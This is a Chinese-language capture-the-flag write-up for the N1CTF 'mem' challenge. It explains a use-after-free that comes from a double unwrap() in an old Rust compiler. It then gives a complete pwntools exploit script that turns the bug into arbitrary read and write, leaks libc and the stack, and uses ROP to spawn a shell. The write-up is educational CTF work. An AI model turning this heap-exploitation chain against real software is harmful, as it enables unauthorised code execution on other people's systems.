这篇文章是N1CTF的mem题目的一个总结,实际上很早以前就想写了,但是一直拖...我的拖延癌已经没救了...
finding bug
这个题目的漏洞我当时是没有找到的,在看了其他队伍的wp之后才知道这个题目的漏洞点在哪...实际上这个漏洞是在rust低版本编译器中的一个漏洞,因为在编译的时候没有对if else
中的unwrap进行处理,所以导致一次unwrap之后还可以在之后函数中继续unwrap
read source code
首先我们来阅读一下rustc写的代码,还是比较容易读懂的
主要的逻辑在calculator这个函数里面,一开始就可以输入命令,主要的命令只有exit和check。如果输入的命令不是这两个,那么就会调用
Parser
类来对输入进行parse,之后在parse里面执行了
self.parse()
self.eval_one()
在eval里面对输入进行了执行编译,先存入了栈中,之后通过栈来一步步的执行。在parse
过程完成了之后会生成输入的类型,根据不同的输入类型再进行处理。
Num
对数字的处理分为两种,一种是当输入是0x1337的时候,另一种是当输入为普通数字的时候。
Str
当输入是str的时候,分为长度大于100和长度小于100的两种进行处理
Vec
这个地方比较的关键,UAF就是在这个地方发生的。可以看到在比较这个vec的大小的时候首先把rescve进行了unwrap(),之后如果这个vec的长度超过了100在处理的时候执行了let mut k = resvec.unwrap()
这个时候就会将resvec再unwrap()一次。
所以这个k就变成了一个free过的chunk的地址
Exploit
这个challenge的exploit实际上就是一般的UAF利用,和JS的exploit方法也很相似修改array的地址和idx做到任意读写
- clone()重利用已经被free的chunk,把里面变成vec的控制chunk
- 通过修改global vec的地址来做到任意读
- 通过修改global vec来做到任意写
- 通过environ泄露stackaddr
- 修改__libc_main的ret做ROP
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
from ctypes import *
binary = './main'
elf = ELF(binary)
libc = elf.libc
io = process(binary)
context.log_level = 'debug'
pause()
def calc(x):
io.recvuntil(">>> ")
io.sendline(x)
def command(idx):
io.recvuntil("$ ")
io.sendline(str(idx))
def store(yn = 'n'):
io.recvuntil("(y/n)")
io.sendline(yn)
calc(repr([9] * 8))
for i in range(10):
command(4) # set global
command(0) # exit
store()
# uaf caused by unwrap
calc(repr([1] * 120))
command(8) # clone vec
io.recvuntil("=>")
io.sendline('2') # idx
def getnumber(idx):
command(6)
io.recvuntil("number:")
io.sendline(str(idx))
io.recvuntil("Result:")
return int(io.recvuntil("\n")[:-1])
c32 = lambda x: c_uint32(x).value
s32 = lambda x: c_int32(x).value
qword = lambda l,h: c32(l) + (c32(h) << 32)
heap_addr = qword(getnumber(0), getnumber(1))
print hex(heap_addr)
heap_base = heap_addr - 0x1e100
io_file = heap_base + 0x15000
def setaddr(addr):
command(7)
io.recvuntil(" => ")
io.sendline('0')
io.recvuntil(" => ")
io.sendline(str(s32(addr & 0xFFFFFFFF)))
command(7)
io.recvuntil(" => ")
io.sendline('1')
io.recvuntil(" => ")
io.sendline(str(s32(addr >> 32)))
return
def read64(addr):
setaddr(addr)
command(9)
io.recvuntil("=>")
io.sendline('0') # idx
io.recvuntil("=>")
io.sendline('0') # idy
io.recvuntil("=>")
io.sendline('119') # idz
low = getnumber(119)
command(9)
io.recvuntil("=>")
io.sendline('0') # idx
io.recvuntil("=>")
io.sendline('1') # idy
io.recvuntil("=>")
io.sendline('119') # idz
hi = getnumber(119)
return qword(c32(low), c32(hi))
vtable = read64(io_file + 0xd8)
print hex(vtable)
func_addr = read64(vtable + 0x10)
libc = func_addr - 0x799c0
print hex(libc)
environ = libc + 0x3c6f38
stack_addr = read64(environ) - 896 + 0x20
system = libc + 0x45390
binsh = libc + 1625367
poprdi = libc + 0x0000000000021102
setaddr(stack_addr)
#print hex(stack_addr)
command(0)
store()
pause()
# arb write
calc(str(0x13337))
def writes32(index, val):
command(6)
io.sendline(str(s32(val & 0xFFFFFFFF)))
command(5)
command(9)
io.recvuntil("=>")
io.sendline(str(0))
io.recvuntil("=>")
io.sendline(str(index))
return
def writes64(index, val):
writes32(index, val & 0xFFFFFFFF)
writes32(index + 1, val >> 32)
return
writes64(0, poprdi)
writes64(2, binsh)
writes64(4, system)
command(0)
store()
# pop shell
calc("exit")
io.interactive()